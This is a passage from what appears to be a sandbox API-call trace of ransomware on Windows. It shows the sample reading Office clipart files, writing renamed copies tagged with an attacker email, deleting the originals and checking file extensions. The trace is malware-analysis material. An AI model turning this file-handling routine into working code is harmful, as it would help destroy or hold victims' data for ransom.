dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.314] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.314] GetLastError () returned 0x0 [0061.314] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x2708, lpOverlapped=0x0) returned 1 [0061.316] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2710, lpOverlapped=0x0) returned 1 [0061.317] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.317] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.317] SetEndOfFile (hFile=0x150) returned 1 [0061.317] CloseHandle (hObject=0x150) returned 1 [0061.317] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.317] SetEndOfFile (hFile=0x194) returned 1 [0061.318] CloseHandle (hObject=0x194) returned 1 [0061.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0061.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0061.319] lstrlenW (lpString=".doc") returned 4 [0061.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.319] lstrlenW (lpString=".docx") returned 5 [0061.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.319] lstrlenW (lpString=".pdf") returned 4 [0061.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.319] lstrlenW (lpString=".xls") returned 4 [0061.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.319] lstrlenW (lpString=".xlsx") returned 5 [0061.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.319] lstrlenW (lpString=".ppt") returned 4 [0061.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0061.319] lstrlenW (lpString=".zip") returned 4 [0061.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.319] lstrlenW (lpString=".rar") returned 4 [0061.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.319] lstrlenW (lpString=".bz2") returned 4 [0061.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.319] lstrlenW (lpString=".7z") returned 3 [0061.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0061.319] lstrlenW (lpString=".dbf") returned 4 [0061.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0061.319] lstrlenW (lpString=".1cd") returned 4 [0061.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0061.320] lstrlenW (lpString=".jpg") returned 4 [0061.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.320] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=20784) returned 1 [0061.320] CloseHandle (hObject=0x194) returned 1 [0061.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0061.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.320] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.320] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.321] GetLastError () returned 0x0 [0061.321] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x5130, lpOverlapped=0x0) returned 1 [0061.323] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5140, lpOverlapped=0x0) returned 1 [0061.324] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.324] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.324] SetEndOfFile (hFile=0x150) returned 1 [0061.324] CloseHandle (hObject=0x150) returned 1 [0061.324] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.324] SetEndOfFile (hFile=0x194) returned 1 [0061.325] CloseHandle (hObject=0x194) returned 1 [0061.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0061.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0061.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0061.325] lstrlenW (lpString=".doc") returned 4 [0061.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.325] lstrlenW (lpString=".docx") returned 5 [0061.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.326] lstrlenW (lpString=".pdf") returned 4 [0061.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.326] lstrlenW (lpString=".xls") returned 4 [0061.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.326] lstrlenW (lpString=".xlsx") returned 5 [0061.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.326] lstrlenW (lpString=".ppt") returned 4 [0061.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0061.326] lstrlenW (lpString=".zip") returned 4 [0061.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.326] lstrlenW (lpString=".rar") returned 4 [0061.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.326] lstrlenW (lpString=".bz2") returned 4 [0061.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.326] lstrlenW (lpString=".7z") returned 3 [0061.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0061.326] lstrlenW (lpString=".dbf") returned 4 [0061.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0061.326] lstrlenW (lpString=".1cd") returned 4 [0061.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0061.326] lstrlenW (lpString=".jpg") returned 4 [0061.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.326] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=24588) returned 1 [0061.326] CloseHandle (hObject=0x194) returned 1 [0061.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0061.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.327] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.327] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.327] GetLastError () returned 0x0 [0061.327] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x600c, lpOverlapped=0x0) returned 1 [0061.329] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0061.331] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.331] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.331] SetEndOfFile (hFile=0x150) returned 1 [0061.331] CloseHandle (hObject=0x150) returned 1 [0061.331] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.331] SetEndOfFile (hFile=0x194) returned 1 [0061.332] CloseHandle (hObject=0x194) returned 1 [0061.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0061.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0061.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0061.332] lstrlenW (lpString=".doc") returned 4 [0061.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString=".docx") returned 5 [0061.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.333] lstrlenW (lpString=".pdf") returned 4 [0061.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString=".xls") returned 4 [0061.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.333] lstrlenW (lpString=".xlsx") returned 5 [0061.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.333] lstrlenW (lpString=".ppt") returned 4 [0061.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0061.333] lstrlenW (lpString=".zip") returned 4 [0061.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.333] lstrlenW (lpString=".rar") returned 4 [0061.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString=".bz2") returned 4 [0061.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString=".7z") returned 3 [0061.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0061.333] lstrlenW (lpString=".dbf") returned 4 [0061.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0061.333] lstrlenW (lpString=".1cd") returned 4 [0061.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0061.333] lstrlenW (lpString=".jpg") returned 4 [0061.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.334] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2226) returned 1 [0061.334] CloseHandle (hObject=0x194) returned 1 [0061.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0061.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.335] GetLastError () returned 0x0 [0061.335] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x8b2, lpOverlapped=0x0) returned 1 [0061.336] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0061.337] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.337] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.337] SetEndOfFile (hFile=0x150) returned 1 [0061.337] CloseHandle (hObject=0x150) returned 1 [0061.337] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.337] SetEndOfFile (hFile=0x194) returned 1 [0061.338] CloseHandle (hObject=0x194) returned 1 [0061.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0061.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0061.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0061.338] lstrlenW (lpString=".doc") returned 4 [0061.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.338] lstrlenW (lpString=".docx") returned 5 [0061.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.339] lstrlenW (lpString=".pdf") returned 4 [0061.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.339] lstrlenW (lpString=".xls") returned 4 [0061.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.339] lstrlenW (lpString=".xlsx") returned 5 [0061.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.339] lstrlenW (lpString=".ppt") returned 4 [0061.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0061.339] lstrlenW (lpString=".zip") returned 4 [0061.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.339] lstrlenW (lpString=".rar") returned 4 [0061.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.339] lstrlenW (lpString=".bz2") returned 4 [0061.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.339] lstrlenW (lpString=".7z") returned 3 [0061.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0061.339] lstrlenW (lpString=".dbf") returned 4 [0061.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0061.339] lstrlenW (lpString=".1cd") returned 4 [0061.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0061.339] lstrlenW (lpString=".jpg") returned 4 [0061.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.340] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=14820) returned 1 [0061.340] CloseHandle (hObject=0x194) returned 1 [0061.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0061.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.340] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.340] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0061.340] GetLastError () returned 0x0 [0061.340] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x39e4, lpOverlapped=0x0) returned 1 [0061.342] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0061.343] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.343] WriteFile (in: hFile=0x150, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.343] SetEndOfFile (hFile=0x150) returned 1 [0061.343] CloseHandle (hObject=0x150) returned 1 [0061.343] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.343] SetEndOfFile (hFile=0x194) returned 1 [0061.344] CloseHandle (hObject=0x194) returned 1 [0061.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0061.345] lstrlenW (lpString=".doc") returned 4 [0061.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".docx") returned 5 [0061.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.345] lstrlenW (lpString=".pdf") 